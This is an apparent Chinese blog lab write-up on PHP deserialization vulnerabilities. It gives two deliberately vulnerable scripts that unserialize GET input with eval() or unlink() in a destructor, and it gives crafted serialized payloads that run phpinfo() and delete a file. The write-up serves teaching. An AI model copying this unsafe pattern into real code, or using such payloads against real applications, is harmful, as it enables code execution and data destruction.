实验环境:Apache、php5.4
实验原理:是由于程序没有对用户输入的反序列化字符串进行检测,导致反序列化过程可以被恶意控制,进而造成代码执行、getshell等一系列不可控的后果。反序列化漏洞并不是PHP特有,也存在于Java、Python等语言之中,但其原理基本相通
实验步骤:
实验一:
php代码如下:
<?php
class Person{
var $name;
var $age;
var $sex;
function __construct($name,$age,$sex){
$this->name=$name;
$this->age=$age;
$this->sex=$sex;
}
function __destruct()
{
eval($this->sex);
}
}
$str=$_GET['obj'];
$p1=unserialize("$str");
print_r($p1);
?>
在路径中输入参数值:?obj=O:6:"Person":3:{s:4:"name";s:3:"cxr";s:3:"age";i:25;s:3:"sex";s:10:"phpinfo();";},结果如下:

实验二:
利用unlink()函数,实现文件删除功能
php代码如下:
<?php
class Person{
var $name;
var $age;
var $sex;
var $tmp="1.tmp";
function __construct($name,$age,$sex){
$this->name=$name;
$this->age=$age;
$this->sex=$sex;
}
function __destruct()
{
unlink(dirname(__FILE__)."/".$this->tmp);
}
}
$str=$_GET['obj'];
$p1=unserialize("$str");
print_r($p1);
?>
执行前,本目录下有以下文件:
在路径中输入参数值:?obj=O:6:"Person":4:{s:4:"name";s:3:"cxr";s:3:"age";i:25;s:3:"sex";s:4:"girl";s:3:"tmp";s:5:"2.tmp";},结果如下:

这时可以看到要删除得2.tmp文件已经成功删除
这篇博客探讨了PHP反序列化漏洞,指出当程序未检测用户输入的反序列化字符串时,可能导致代码执行和安全风险。实验通过具体代码展示了如何利用此漏洞执行phpinfo()和文件删除操作。

1448

被折叠的 条评论
为什么被折叠?



